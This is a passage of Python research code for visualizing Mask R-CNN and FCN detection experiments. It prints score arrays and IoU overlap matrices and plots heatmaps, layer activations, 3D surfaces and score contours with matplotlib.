# visualize.display_instances(f_input['image'] , pr_scores[:,:CLASS_COLUMN], pr_scores[:,CLASS_COLUMN].astype(np.int32),
# class_names, pr_scores[:,ORIG_SCORE_COLUMN], only_classes= only, size =size,
# title = 'MRCNN predictions for image id'+img_id)
#------------------------------------------------------------------------------------------------------------------
# detections as returned from the model's `detect()` functon
#------------------------------------------------------------------------------------------------------------------
def display_mrcnn_style1(f, class_names,lmt =18):
print(' classes :', f['class_ids'][:lmt])
names = " ".join([ '{:>10s}'.format(class_names[i][-10:]) for i in f['class_ids'][:lmt]])
print(' : ', names)
print(' ', f['detection_ind'][:lmt])
print(' orig scores :', f['scores'][:lmt])
print(' orig scores :', f['pr_scores'][:lmt, ORIG_SCORE_COLUMN])
print(' norm scores :', f['pr_scores'][:lmt,8])
print(' X1 :', f['pr_scores'][:lmt,1])
print(' Y1 :', f['pr_scores'][:lmt,0])
print(' X2 :', f['pr_scores'][:lmt,3])
print(' Y2 :', f['pr_scores'][:lmt,2])
# print(' pr_scores[5] :', f['pr_scores'][:,5])
print('-'*185)
print(' SCR 0 [11] :', f['pr_scores'][:lmt,11])
# print(' fcn_scores[11] :', f['fcn_scores'][:lmt,11])
print()
print(' SCR 1 [14] :', f['pr_scores'][:lmt,14])
# print('fcn_scores[14] :', f['fcn_scores'][:lmt,14])
print()
print(' SCR 2 [20] :', f['pr_scores'][:lmt,20])
# print('fcn_scores[20] :', f['fcn_scores'][:lmt,20])
def display_pr_fcn_style1(f, class_names,lmt =18):
names = " ".join([ '{:>10s}'.format(class_names[i][-10:]) for i in f['pr_scores'][:lmt, 4].astype(np.int32)])
print(' bbox seq id :', f['pr_scores'][:lmt,7].astype(int))
print(' f[class_ids] class :', f['class_ids'][:lmt])
print(' f[pr_score] class :', f['pr_scores'][:lmt,4].astype(np.int))
print(' f[fcn_score] class :', f['fcn_scores'][:lmt,4].astype(np.int))
print(' ', names)
print(' TP/FP Ind :', f['pr_scores'][:lmt,6].astype(np.int))
print(' pr orig score :', f['pr_scores'][:lmt,5])
print(' fcn orig score :', f['fcn_scores'][:lmt,5])
print(' cls norm score :', f['pr_scores'][:lmt,8])
print(' bbox area :', f['pr_scores'][:lmt,10])
print(' clip area :', f['pr_scores'][:lmt,13])
print()
print('-'*185)
print(' pr norm_score [8] :', f['pr_scores'][:lmt,8])
print(' fcn norm_score[8] :', f['fcn_scores'][:lmt,8])
print()
print(' pr_score_0 [11] :', f['pr_scores'][:lmt,11])
print(' fcn_score_0 [11] :', f['fcn_scores'][:lmt,11])
print()
print(' pr_score_1 [14] :', f['pr_scores'][:lmt,14])
print(' fcn_score_1 [14] :', f['fcn_scores'][:lmt,14])
print()
print(' pr_score_2 [20] :', f['pr_scores'][:lmt,20])
print(' fcn_score_2 [20] :', f['fcn_scores'][:lmt,20])
print()
print('norm pr_score_1 [17] :', f['pr_scores'][:lmt,17])
print('norm fcn_score [17] :', f['fcn_scores'][:lmt,17])
print()
print('norm pr_score_2 [23] :', f['pr_scores'][:lmt,23])
print('norm fcn_score [23] :', f['fcn_scores'][:lmt,23])
def display_mrcnn_style2(f, class_names,lmt =18):
for i, [molded_bbox, cls, scr, pr_scr] in enumerate(zip(f['molded_rois'].astype(np.int), f['class_ids'], f['scores'], f['pr_scores'])):
print('{} ({:2d})- {:.<18s} {:5.4f} {} '.format(i, cls, class_names[cls], scr, pr_scr[[4,5,6,7,8]] ))
print('{:>86s} {}'.format(' Bbox Coordinates - molded_rois: ', molded_bbox))
print('{:>86s} {}'.format(' Bbox Coordinates - pr_scores : ', pr_scr[:4]))
print()
print('{:>86s} {}'.format(' Orig/Norm score : ', pr_scr[[5,8]]))
print('{:>86s} {}'.format(' mrcnn old scores : ', pr_scr[[9,10,11]]))
print()
print('{:>86s} {}'.format(' mrcnn alt scores1 : ', pr_scr[[12,13,14,15,16,17]]))
print()
print('{:>86s} {}'.format(' mrcnn alt scores2 : ', pr_scr[[18,19,20,21,22,23]]))
print()
def display_pr_fcn_style2(f, class_names,lmt =18):
for i, [molded_bbox, cls, scr, pr_scr, fcn_scr] in enumerate(zip(f['molded_rois'].astype(np.int), f['class_ids'], f['scores'], f['pr_scores'], f['fcn_scores'])):
print('{} ({:2d})- {:.<18s} {:5.4f} {} '.format(i, cls, class_names[cls], scr, fcn_scr[[4,5,6,7,8]]))
print('{:>40s} {}'.format(' Bbox Coordinates - molded_rois: ', molded_bbox))
print('{:>40s} {}'.format(' Bbox Coordinates - pr_scores : ', pr_scr[:4]))
print('{:>40s} {}'.format(' Bbox Coordinates - fcn_scores : ', fcn_scr[:4]))
print('{:>86s} {}'.format(' Orig / Norm score: ', pr_scr[[5,8]]))
print('{:>86s} {}'.format(' mrcnn old style scores: ', pr_scr[[9,10,11]]))
print('{:>86s} {}'.format(' fcn old style scores: ', fcn_scr[[9,10,11]]))
print()
print('{:>86s} {}'.format(' mrcnn alt scores1: ', pr_scr[[12,13,14,15,16,17]]))
print('{:>86s} {}'.format(' fcn alt scores1: ', fcn_scr[[12,13,14,15,16,17]]))
print()
print('{:>86s} {}'.format(' mrcnn_scores2: ', pr_scr[[18,19,20,21,22,23]]))
print('{:>86s} {}'.format(' fcn_scores2: ', fcn_scr[[18,19,20,21,22,23]]))
print()
def display_pr_fcn_style3(f, class_names,lmt =18):
print(f['detections'].shape)
print(' alt_score 0: (gauss. sum over large bbox / bbox area/ gauss_sum * normlzd_score))')
print(' alt_scores 1: (gauss. sum over small mask / mask area/ gauss_sum / mask_area): ')
sort_by_class_order = np.argsort(f['class_ids'])
# for i in range(len( f['class_ids'])):
for i in sort_by_class_order:
# print(i , f['rois'][i].astype(np.float), f['scores'][i], f['class_ids'][i], class_names[f['class_ids'][i]])
# print(i , f['detections'][i], f['class_ids'][i], class_names[f['class_ids'][i]])
det_type = ' --> ADDED FP ' if f['pr_scores'][i,6] == -1 else ' Original detection'
print(i , f['rois'][i])
print(i , f['pr_scores'][i,:9], f['pr_scores'][i,4], class_names[ f['pr_scores'][i,4].astype(np.int)], det_type)
print()
print(i , 'pr: alt_scores 0 [9,10,11]: '.rjust(90), f['pr_scores'][i,9:12])
print(i , ' alt_scores 1 [12 - 17]: '.rjust(90), f['pr_scores'][i,12:18])
print(i , ' alt_scores 2 [18 - 23]: '.rjust(90), f['pr_scores'][i,18:24])
print(i)
# print(i , f['fcn_scores'][i,:8], f['fcn_scores'][i,4], class_names[ f['fcn_scores'][i,4].astype(np.int)])
print(i , 'fcn: alt_score 0 [9,10,11]: '.rjust(90), f['fcn_scores'][i,9:12])
print(i , ' alt_scores 1 [12 - 17]: '.rjust(90), f['fcn_scores'][i,12:18])
print(i , ' alt_scores 2 [18 - 23]: '.rjust(90), f['fcn_scores'][i,18:24])
print()
print(i , 'alt score 0 [11]: '.rjust(90), ' from mrcnn:{:10.4f} from FCN: {:10.4f} '.format(f['pr_scores'][i,11],f['fcn_scores'][i,11]))
print(i , 'alt score 1 [14]: '.rjust(90), ' from mrcnn:{:10.4f} from FCN: {:10.4f} '.format(f['pr_scores'][i,14],f['fcn_scores'][i,14]))
print(i , 'alt score 2 [20]: '.rjust(90), ' from mrcnn:{:10.4f} from FCN: {:10.4f} '.format(f['pr_scores'][i,20],f['fcn_scores'][i,20]))
print()
##-----------------------------------------------------------------------------------------------------------
##
##-----------------------------------------------------------------------------------------------------------
##-----------------------------------------------------------------------------------------------------------
## DISPLAY INTERSECTION OVER UNION
##-----------------------------------------------------------------------------------------------------------
def display_ious(f,class_names):
# for i,j in zip(f['gt_class_ids'], f['gt_bboxes']):
# print(i, ' ', j )
# for i,j in zip(f['pr_scores'][:,4], f['pr_scores'][:,:4]):
# print(i, ' ', j )
np_format = {}
np_format['float'] = lambda x: "%10.4f" % x
np_format['int'] = lambda x: "%10d" % x
np.set_printoptions(linewidth=195, precision=4, floatmode='fixed', threshold =10000, formatter = np_format)
ovl = utils.compute_overlaps(f['gt_bboxes'], f['gt_bboxes'])
hdr = ''.join([' {:3d} /{:>3d} '.format(i,int(j)) for i,j in enumerate(f['gt_class_ids'])])
print()
print(' Overlap Matrix for Ground Truth Bounding Boxes ')
print('------------------------------------------------')
print(' '*25, hdr)
print(' Box/Cls : ', '-'*120)
for k,(i,j) in enumerate(zip(f['gt_class_ids'], ovl)):
print('{:2d}/{:2d} - {:15s} {}' .format(k, i, class_names[i],j))
ovl = utils.compute_overlaps(f['pr_scores'][:,:4], f['pr_scores'][:,:4])
hdr = ''.join([' {:3d} /{:>3d} '.format(i,int(j)) for i,j in enumerate(f['pr_scores'][:,4])])
print()
print(' Overlap Matrix for MRCNN Detection Bounding Boxes')
print('---------------------------------------------------')
print(' '*25, hdr)
print(' Box/Cls : ', '-'*120)
for k,(i,j) in enumerate(zip(f['pr_scores'][:,4], ovl)):
print('{:2d}/{:2d} - {:15s} {}' .format(k, int(i), class_names[int(i)],j))
ovl = utils.compute_overlaps(f['pr_scores'][:,:4], f['gt_bboxes'])
hdr = ''.join([' {:3d} /{:>3d} '.format(i,int(j)) for i,j in enumerate(f['gt_class_ids'])])
print()
print(' Overlap Matrix for Detection vs GT Bounding Boxes')
print('---------------------------------------------------')
print(' GT Boxes:', hdr)
print(' Prediction Boxes: ', '-'*120)
for k,(i,j) in enumerate(zip(f['pr_scores'][:,4], ovl)):
print('{:2d}/{:2d} - {:15s} {}' .format(k, int(i), class_names[int(i)],j))
##-----------------------------------------------------------------------------------------------------------
##
##-----------------------------------------------------------------------------------------------------------
def deprocess_image(x):
# normalize tensor: center on 0., ensure std is 0.1
print(x.shape)
out = x - x.mean()
out /= (x.std() + 1e-5)
out *= 0.1
# clip to [0, 1]
out += 0.5
out = np.clip(out, 0, 1)
# convert to RGB array
out *= 255
out = np.clip(out, 0, 255).astype('uint8')
return out
def standardize_fcn_hm(x):
# standardize tensor: center on 0., ensure std is 0.1
print(x.shape)
out = x - x.mean(axis=(0,1), keepdims = True)
out /= (x.std(axis=(0,1), keepdims = True) + 1e-7)
return out
def normalize_fcn_hm(x):
# normalize FCN_HM across all classes
# print(x.shape)
out = x - x.min(axis=(0,1), keepdims = True)
out /= (x.max(axis=(0,1), keepdims = True) - x.min(axis=(0,1), keepdims = True))
return out
normalize_by_class = normalize_fcn_hm
## used in experiment 6
def normalize_fcn_score(x):
# normalize FCN_HM across all classes
print(x.min(axis=(1,2), keepdims = True).shape)
out = x - x.min(axis=(1,2), keepdims = True)
out /= (x.max(axis=(1,2), keepdims = True) - x.min(axis=(1,2), keepdims = True))
return out
def standardize_fcn_score(x):
# standardize tensor: center on 0., ensure std is 0.1
print(x.shape)
out = x - x.mean(axis=(1,2), keepdims = True)
out /= (x.std(axis=(1,2), keepdims = True) + 1e-7)
return out
normalize_by_class = normalize_fcn_hm
def normalize_all(x):
# normalize FCN_HM across all classes
# print(x.shape)
out = x - x.min(keepdims = True)
out /= (x.max(keepdims = True) - x.min(keepdims = True))
return out
##-----------------------------------------------------------------------------------------------------------
## DISPLAY FCN HEATMAP
##-----------------------------------------------------------------------------------------------------------
def display_fcn_hm(fcn_hm, class_names, cmap = 'jet', columns = 8, size = 4 , classes = None):
if fcn_hm.ndim == 4:
fcn_hm = fcn_hm[0]
if classes is not None:
n_features = len(classes)
else:
n_features = fcn_hm.shape[-1]
classes = np.arange(n_features)
# print('classes:',classes, 'n_features:', n_features)
rows = math.ceil(n_features / columns )
# print()
# print('Layer:', LAYER, ' - ',layer_names[LAYER], ' Shape: ', activations[LAYER][0,:,:,:].shape, ' # features: ', n_features, rows, columns)
fig = plt.figure(figsize=(size * columns, size * rows))
vmin = fcn_hm.min()
vmax = fcn_hm.max()
for idx, cls in enumerate(classes) : ## range(n_features):
row = idx // columns
col = idx % columns
subplot = (row * columns) + col +1
# print('rows:', rows, 'cols:', columns, 'subplot: ', subplot)
ax= fig.add_subplot(rows, columns, subplot)
ax.set_title(class_names[cls], fontsize=15)
# ax.tick_params(direction='out', length=6, width=1, colors='r', labelsize = 10)
img = ax.imshow(fcn_hm[:,:,cls], origin = 'upper', cmap = cmap , interpolation='none', vmin = vmin, vmax = vmax)
ax.tick_params(axis='both', bottom=True, left=True , top=False, right=False)
cb = fig.colorbar(img, shrink=0.6, aspect=30, fraction=0.02)
cb.ax.tick_params(labelsize=10)
title = 'FCN Input - shape: {}'.format(str(fcn_hm.shape))
fig.suptitle(title, fontsize = 12, ha ='center' )
fig.tight_layout(rect=[0, 0.0, 1, 0.95]) ## [left, bottom, right, top]
# plt.subplots_adjust(top=0.95, bottom=0.02, left=0.02, right=0.98, hspace=0.25, wspace=0.15)
plt.show()
return
display_fcn_output = display_fcn_hm
display_fcn_input = display_fcn_hm
##-----------------------------------------------------------------------------------------------------------
##
##-----------------------------------------------------------------------------------------------------------
def display_fcn_input_2(fcn_hm, cmap = 'gray', columns = 8, size = 4):
if fcn_hm.ndim == 4:
fcn_hm = fcn_hm[0]
n_features = fcn_hm.shape[-1]
rows = math.ceil(n_features / columns )
fig , ax = plt.subplots(rows, columns, figsize=(size*columns, size*rows))
print(n_features, rows )
# print('Layer:', LAYER, ' - ',layer_names[LAYER], ' Shape: ', activations[LAYER][0,:,:,:].shape, ' # features: ', n_features, rows, columns)
# fig = plt.figure(figsize=(8 *columns, 12* rows))
for idx in range(n_features):
row = idx // columns
col = idx % columns
subplot = (row * columns) + col +1
print(row,col, subplot)
# ax= fig.add_subplot(rows, columns, subplot)
ax[row,col].set_title(class_names[idx], fontsize=20)
ax[row,col].tick_params(axis='both', labelsize = 5)
surf = ax[row,col].matshow(fcn_hm[:,:,idx], cmap = cmap , interpolation='none')
cbar = ax[row,col].colorbar(cax = surf, shrink=0.6, aspect=30, fraction=0.05)
cbar.ax.tick_params(labelsize=14)
ttl = title + ' {}'.format(str(fcn_hm.shape))
fig.suptitle(title, fontsize = 18, ha ='center' )
fig.tight_layout(rect=[0, 0.0, 1, 0.95]) ## [left, bottom, right, top]
plt.show()
##-----------------------------------------------------------------------------------------------------------
##
##-----------------------------------------------------------------------------------------------------------
def display_pairwise_heatmap(input_matrix, CLASS_IDS, CLASS_NAMES,title = '' , colormap = cm.coolwarm,
start_from = 1, columns = 100):
# show_labels = labels[1:10]
# num_classes = len(show_labels)
# print(' num classes: ', num_classes, 'matrix shape: ',show_matrix.shape)
columns = min(input_matrix.shape[1], columns)
show_matrix = input_matrix[CLASS_IDS, start_from:columns]
n_classes = show_matrix.shape[0]
n_instances = show_matrix.shape[1]
show_labels_x = [str(i) for i in range(start_from, n_instances+start_from)]
show_labels_y = ['{:2d}-{:s}'.format(i,CLASS_NAMES[i]) for i in CLASS_IDS]
fig, ax = plt.subplots(1,1,figsize=((n_classes)*1, (n_instances)*1))
im = ax.imshow(show_matrix, cmap=colormap)
# cmap=cm.bone, # cmap=cm.Dark2 # cmap = cm.coolwarm # cmap=cm.YlOrRd
# We want to show all ticks...
ax.set_xticks(np.arange(n_instances))
ax.set_yticks(np.arange(n_classes))
# ... and label them with the respective list entries
ax.set_xticklabels(show_labels_x, size = 9)
ax.set_yticklabels(show_labels_y, size = 9)
ax.set_xlabel('Number of Instances ', size = 16)
ax.set_ylabel('Class', size = 16 )
# Rotate the tick labels and set their alignment.
plt.setp(ax.get_xticklabels(), rotation=45, ha="right",rotation_mode="anchor")
plt.setp(ax.get_yticklabels(), rotation=45, ha="right",rotation_mode="anchor")
# Loop over data dimensions and create text annotations.
for cls in range(n_classes):
for j in range(n_instances):
text = ax.text(j, cls, show_matrix[cls, j], size=12,
ha="center", va="center", color="w")
ax.set_title(title, size = 14)
# fig.tight_layout()
plt.show()
return fig
def display_pairwise_heatmap_rotated(input_matrix , CLASS_IDS, CLASS_NAMES,title = '' , colormap = cm.coolwarm,
start_from = 1, columns = 100):
columns = min(input_matrix.shape[1], columns)
show_matrix = input_matrix[CLASS_IDS, start_from: columns]
print( ' -- matrix shape: ',show_matrix.shape)
n_instances = show_matrix.shape[1]
n_classes = show_matrix.shape[0]
show_labels_y = [str(i) for i in range(start_from, n_instances+start_from)]
show_labels_x = ['{:2d}-{:s}'.format(i,CLASS_NAMES[i]) for i in CLASS_IDS]
sq_size = 1.0
## figsize = (width, height)
# fig, ax = plt.subplots(1,1,figsize=((n_instances)* sq_size, (n_classes) * sq_size))
fig, ax = plt.subplots(1,1,figsize=((n_classes)* sq_size, (n_instances) * sq_size))
im = ax.imshow(show_matrix.T, cmap=colormap)
# cmap=cm.bone, # cmap=cm.Dark2 # cmap = cm.coolwarm # cmap=cm.YlOrRd
# We want to show all ticks and label them with the respective list entries
ax.set_xticks(np.arange(n_classes))
ax.set_yticks(np.arange(n_instances))
ax.set_xticklabels(show_labels_x, size = 9)
ax.set_yticklabels(show_labels_y, size = 9)
ax.set_xlabel('Class', size = 11 )
ax.set_ylabel('Number of Instances ', size = 11)
# Rotate the tick labels and set their alignment.
plt.setp(ax.get_xticklabels(), rotation=45, ha="right",rotation_mode="anchor")
plt.setp(ax.get_yticklabels(), rotation=45, ha="right",rotation_mode="anchor")
# Loop over data dimensions and create text annotations.
for cls in range(n_classes):
for i in range(n_instances):
text = ax.text(cls, i, show_matrix[ cls, i], size=12, ha="center", va="center", color="w")
ax.set_title(title, size = 14)
# fig.tight_layout()
## Display total number of images per class
summ = show_matrix.sum(axis = 1, keepdims=True).T
print('summshape : ', summ.shape)
fig2, ax2 = plt.subplots(1,1,figsize=((n_classes)* sq_size, (1) * sq_size))
im = ax2.imshow(summ, cmap=colormap)
# cmap=cm.bone, # cmap=cm.Dark2 # cmap = cm.coolwarm # cmap=cm.YlOrRd
# We want to show all ticks and label them with the respective list entries
ax2.set_xticks(np.arange(n_classes))
ax2.set_yticks(np.arange(1))
ax2.set_xticklabels(show_labels_x, size = 9)
ax2.set_yticklabels([' '], size = 9)
ax2.set_xlabel('Class', size = 11 )
ax2.set_ylabel('Images ', size = 11)
# Rotate the tick labels and set their alignment.
plt.setp(ax2.get_xticklabels(), rotation=45, ha="right",rotation_mode="anchor")
plt.setp(ax2.get_yticklabels(), rotation=45, ha="right",rotation_mode="anchor")
ax2.set_title(title, size = 14)
# Loop over data dimensions and create text annotations.
for cls in range(n_classes):
text = ax2.text(cls, 0, summ[0,cls], size=12, ha="center", va="center", color="w")
plt.show()
return fig, fig2
##-----------------------------------------------------------------------------------------------------------
##
##-----------------------------------------------------------------------------------------------------------
def display_activations(activations, layer, layer_names, class_names, columns = 8, cmap = 'jet', normalize = True):
LAYER = layer
n_features = activations[LAYER].shape[-1]
rows = math.ceil(n_features / columns )
print()
print('Layer:', LAYER, ' - ',layer_names[LAYER], ' Shape: ', activations[LAYER][0,:,:,:].shape, ' # features: ', n_features, rows, columns)
fig = plt.figure(figsize=(8 *columns, 8 * rows))
for idx in range(n_features):
row = idx // columns
col = idx % columns
subplot = (row * columns) + col +1
ax= fig.add_subplot(rows, columns, subplot)
ttl = 'Filter: {:4d}'.format(idx)
ax.set_title(ttl, fontsize=20)
channel_image = activations[LAYER][0,:,:, idx]
if normalize:
c_mean = channel_image.mean()
c_std = channel_image.std()
## Normalize to mean 0 , std_dev = 1
channel_image -= c_mean
channel_image /= c_std
# channel_image *= 64
# channel_image -= 128
surf = ax.matshow(channel_image, cmap= cmap, interpolation='none')
fig.colorbar(surf, shrink=0.6, aspect=30, fraction=0.05)
title = 'Layer: {:3d} - {:25s} - shape: {}'.format(LAYER,layer_names[LAYER], str(activations[LAYER][0].shape))
fig.suptitle(title, fontsize = 24, ha ='center' )
fig.tight_layout(rect=[0, 0.05, 1, 0.97])
##-----------------------------------------------------------------------------------------------------------
##
##-----------------------------------------------------------------------------------------------------------
def display_final_activations_2(activations, layers, layer_names, columns = 8, cmap = 'jet'):
n_layers = len(layers)
n_features = activations[layers[0]].shape[-1]
rows = math.ceil(n_features / columns )
fig,ax = plt.subplots(n_layers,n_features, figsize=( n_layers * 10 , n_features * 10)) ### , gridspec_kw={"hspace":0.1, "wspace":0.1})
fig_num = 1
for row, layer in enumerate(layers):
LAYER = layer
# n_features = activations[LAYER].shape[-1]
# rows = math.ceil(n_features / columns )
# print()
print('Layer:', LAYER, ' - ',layer_names[LAYER], ' Shape: ', activations[LAYER][0,:,:,:].shape, ' # features: ', n_features, rows, columns)
# fig = plt.figure(fig_num, figsize=(8 *columns, 7* rows))
for idx in range(n_features):
# row = idx // columns
col = idx % columns
subplot = (row * columns) + col +1
# print('row, idx, col, subplot:', row, idx,col,subplot)
# plt.subplot(rows, columns, subplot)
# ax = plt.gca()
ax[row, idx].set_title(class_names[idx], fontsize=18)
surf = ax[row,idx].matshow(activations[LAYER][0,:,:,idx], cmap=cmap, interpolation='none', vmin=-1.0, vmax=1.0)
plt.colorbar(surf,ax = ax[row,idx], shrink=0.6, aspect=30, fraction=0.05)
title = 'Layer: {:3d} - {:25s} - shape: {}'.format(LAYER,layer_names[LAYER], str(activations[LAYER][0].shape))
# fig.suptitle(title, fontsize = 24, ha ='center' )
# fig.savfig
# fig_num +=1
plt.subplots_adjust(top=0.97, bottom=0.02, left=0.02, right=0.98, hspace=0.1, wspace=0.10)
# plt.subplots_adjust(top=0.97)
plt.show()
##-----------------------------------------------------------------------------------------------------------
##
##-----------------------------------------------------------------------------------------------------------
def display_final_activations(activations, layers, layer_names, class_names, classes = None, columns = None, cmap = 'jet'):
n_layers = len(layers)
fig_num = 1
if classes is None :
n_features = list(range(activations[-1].shape[-1]))
else:
n_features = classes
# if columns is None:
# columns = len(n_features)
# print( ' Num features: ', n_features , 'Rows / Columns: ', rows, columns, 'classes : ' , classes)
for LAYER in layers:
if columns is None:
layer_columns = len(n_features)
else:
layer_columns = columns
rows = math.ceil(len(n_features) / layer_columns )
print('Layer:', LAYER, ' - ',layer_names[LAYER], ' Shape: ', activations[LAYER][0,:,:,:].shape, ' # features: ', n_features,
'columns: ', columns, 'layer_columns: ', layer_columns, ' rows : ', rows)
fig = plt.figure(fig_num, figsize=(8 * layer_columns, 7* rows))
for idx, cls in enumerate(n_features):
row = idx // layer_columns
col = idx % layer_columns
subplot = (row * layer_columns) + col +1
plt.subplot(rows, layer_columns, subplot)
ax = plt.gca()
ax.set_title(class_names[cls], fontsize=18)
# surf = ax.imshow(activations[LAYER][0,:,:,cls], cmap=cmap, interpolation='none', vmin=-1.0, vmax=1.0)
surf = ax.imshow(activations[LAYER][0,:,:,cls], cmap=cmap, interpolation='none')
fig.colorbar(surf, shrink=0.6, aspect=30, fraction=0.05)
title = 'Layer: {:3d} - {:25s} - shape: {}'.format(LAYER, layer_names[LAYER], str(activations[LAYER][0].shape))
fig.suptitle(title, fontsize = 24, ha ='center' )
# fig.savfig
fig_num +=1
plt.show()
'''
##-----------------------------------------------------------------------------------------------------------
##
##-----------------------------------------------------------------------------------------------------------
def display_final_activations_pdf(activations, layers, columns = 8, cmap = 'jet'):
import matplotlib.backends.backend_pdf
# import matplotlib.backends.backend_pdf
# pdf = matplotlib.backends.backend_pdf.PdfPages("output.pdf")
# for fig in xrange(1, figure().number): ## will open an empty extra figure :(
# pdf.savefig( fig )
# pdf.close()
pdf = matplotlib.backends.backend_pdf.PdfPages("output.pdf")
n_layers = len(layers)
fig = plt.figure( figsize=(8 *columns, 8* n_layers))
fig_*num = 1
for row, layer in enumerate(layers):
LAYER = layer
n_features = activations[LAYER].shape[-1]
rows = math.ceil(n_features / columns )
# print()
# print('Layer:', LAYER, ' - ',layer_names[LAYER], ' Shape: ', activations[LAYER][0,:,:,:].shape, ' # features: ', n_features, rows, columns)
for col in range(n_features):
# row = idx // columns
# col = idx % columns
subplot = (row * columns) + col +1
print(n_layers, n_features, subplot)
plt.subplot(rows, columns, subplot)
ax = plt.gca()
surf = ax.matshow(activations[LAYER][0,:,:,col], cmap=cmap, interpolation='none')
fig.colorbar(surf, shrink=0.6, aspect=30, fraction=0.05)
title = 'Layer: {:3d} - {:25s} - shape: {}'.format(LAYER,layer_names[LAYER], str(activations[LAYER][0].shape))
fig.suptitle(title, fontsize = 24, ha ='center' )
pdf.savefig( fig_num )
fig_num +=1
pdf.close()
plt.show()
'''
##-----------------------------------------------------------------------------------------------------------
##
##-----------------------------------------------------------------------------------------------------------
def display_fcn_agg_heatmaps(fcn_hm, gt_cls_counts, dt_cls_counts, class_names = None, classes = None, cmap = 'jet',
columns= None, title = None, norm = False):
'''
This routine is used in the display_aggreggate_heatmaps and exp2 notebooks
'''
# if classes is None :
# classes = range(scores.shape[0])
# n_features = len(classes)
# if columns is None:
# columns = n_features
if classes is None :
n_features = list(range(fcn_hm.shape[-1]))
else:
n_features = classes
if columns is None:
columns = len(n_features)
rows = math.ceil(len(n_features) / columns )
print( ' Num features: ', n_features , 'Rows / Columns: ', rows, columns, 'classes : ' , classes)
suptitle_fontsz = 20
fig = plt.figure(figsize=(8 *columns, 8* rows))
vmin = fcn_hm.min()
vmax = fcn_hm.max()
for idx, feat in enumerate(n_features):
row = idx // columns
col = idx % columns
subplot = (row * columns) + col +1
ax= fig.add_subplot(rows, columns, subplot)
subttl = '{} - {} - GT:{:4d} Det:{:4d}'.format(feat, class_names[feat], gt_cls_counts[feat], dt_cls_counts[feat])
ax.set_title(subttl, fontsize=20)
ax.tick_params(axis='both', labelsize = 13, length = 6, width = 3)
surf = ax.matshow(fcn_hm[:,:,feat], cmap = cmap , interpolation='none', vmin=vmin, vmax = vmax)
cbar = fig.colorbar(surf, shrink=0.6, aspect=30, fraction=0.05)
cbar.ax.tick_params(labelsize=16)
if title is not None :
ttl = title + ' {}'.format(str(fcn_hm.shape))
fig.suptitle(ttl, fontsize = suptitle_fontsz , ha ='center' )
plt.subplots_adjust(top=0.9, bottom=0.02, left=0.02, right=0.98, hspace=0.25, wspace=0.15)
# plt.tight_layout()
plt.show()
return fig
def display_fcn_agg_heatmaps_3d(fcn_hm, gt_cls_counts, dt_cls_counts, class_names = None, classes = None, cmap = 'jet',
columns= 4, title = None, norm = False):
'''
This routine is used in the display_aggreggate_heatmaps and exp2 notebooks
'''
if classes is None :
n_features = range(fcn_hm.shape[-1])
else:
n_features = classes
image_height = fcn_hm.shape[0]
image_width = fcn_hm.shape[1]
Y = np.arange(0, image_height, 1)
X = np.arange(0, image_width, 1)
X, Y = np.meshgrid(X, Y)
xnew, ynew = np.mgrid[-1:1:256j, -1:1:256j]
rows = math.ceil(len(n_features) / columns )
fig = plt.figure(figsize=(8 *columns, 8* rows))
vmin = fcn_hm.min()
vmax = fcn_hm.max()
for idx, feat in enumerate(n_features):
row = idx // columns
col = idx % columns
subplot = (row * columns) + col +1
ax = fig.add_subplot(rows, columns, subplot, projection='3d')
max = fcn_hm[:,:,feat].max()
subttl = '{} - {} - GT:{:4d} Det:{:4d} max: {}'.format(feat, class_names[feat], gt_cls_counts[feat], dt_cls_counts[feat], max)
ax.set_title(subttl, fontsize=20)
ax.tick_params(axis='both', labelsize = 13, length = 6, width = 3)
ax.invert_yaxis()
ax.view_init( azim=-116,elev=40)
surf = ax.plot_surface(X, Y, fcn_hm[:,:,feat], rstride = 1, cstride = 1, cmap=cm.jet, linewidth=0, antialiased=False)
surf = ax.plot_surface(X, Y, fcn_hm[:,:,feat], rstride = 20, cstride=20, cmap=cm.jet, linewidth=0, antialiased=False)
# tck = interpolate.bisplrep(X, Y, fcn_hm[:,:,feat], s=0)
# znew = interpolate.bisplev(xnew[:,0], ynew[0,:], tck)
# surf = ax.plot_surface(xnew,ynew, znew, cmap='summer', alpha=None)
# Add a color bar which maps values to colors.
# plt.subplots_adjust(top=0.97, bottom=0.02, left=0.02, right=0.98, hspace=0.15, wspace=0.15)
cbar = fig.colorbar(surf, shrink=0.8, aspect=30, fraction=0.10)
# cbar = fig.colorbar(surf, shrink=0.6, aspect=30, fraction=0.05)
# cbar.ax.tick_params(labelsize=9)
cbar.ax.tick_params(labelsize=16)
if title is not None :
ttl = title + ' {}'.format(str(fcn_hm.shape))
fig.suptitle(ttl, fontsize = 24, ha ='center' )
plt.subplots_adjust(top=0.9, bottom=0.02, left=0.02, right=0.98, hspace=0.25, wspace=0.15)
# plt.tight_layout()
plt.show()
return fig
##-----------------------------------------------------------------------------------------------------------
## Display score contours for experiment 6
##-----------------------------------------------------------------------------------------------------------
def display_score_contours(scores, gt_cls_counts, dt_cls_counts, class_names = None, classes = None, cmap = 'jet',
columns= None, title = None, norm = False):
'''
This routine is used in the display_aggreggate_heatmaps and exp2 notebooks
'''
if classes is None :
classes = range(scores.shape[0])
n_features = len(classes)
if columns is None:
columns = n_features
rows = math.ceil(n_features / columns )
print( ' Num features: ', n_features , 'Rows / Columns: ', rows, columns)
fig = plt.figure(figsize=(8*columns, 8*rows))
vmin = scores.min()
vmax = scores.max()
norm = None
for idx, feat in enumerate(classes):
row = idx // columns
col = idx % columns
subplot = (row * columns) + col +1
ax= fig.add_subplot(rows, columns, subplot)
subttl = '{} - {} - GT:{:4d} Det:{:4d}'.format(feat, class_names[feat], gt_cls_counts[feat], dt_cls_counts[feat])
ax.set_title(subttl, fontsize=20)
ax.tick_params(axis='both', labelsize = 13, length = 6, width = 3)
ax.invert_yaxis()
surf = ax.contourf(scores[feat], cmap=cm.jet, norm= norm)
cbar = fig.colorbar(surf, shrink=0.6, aspect=30, fraction=0.05)
cbar.ax.tick_params(labelsize=16)
if title is not None :
ttl = title
fig.suptitle(ttl, fontsize = 24, ha ='center', va = 'top' )
plt.subplots_adjust(top=0.9, bottom=0.02, left=0.02, right=0.98, hspace=0.25, wspace=0.15)
# plt.tight_layout()
plt.show()
return fig
def display_score_contours_compare(pr_scores, fcn_scores,
class_names = None, classes = None, cmap = 'jet',
columns= None, title = None, norm = False, orig_scores = None):
'''
This routine is used in experiment 6 to show scores from mrcnn and fcn side by side
'''
if classes is None :
classes = range(scores.shape[0])
n_features = len(classes)
rows = n_features
if orig_scores is None:
columns = 3
else:
columns = 4
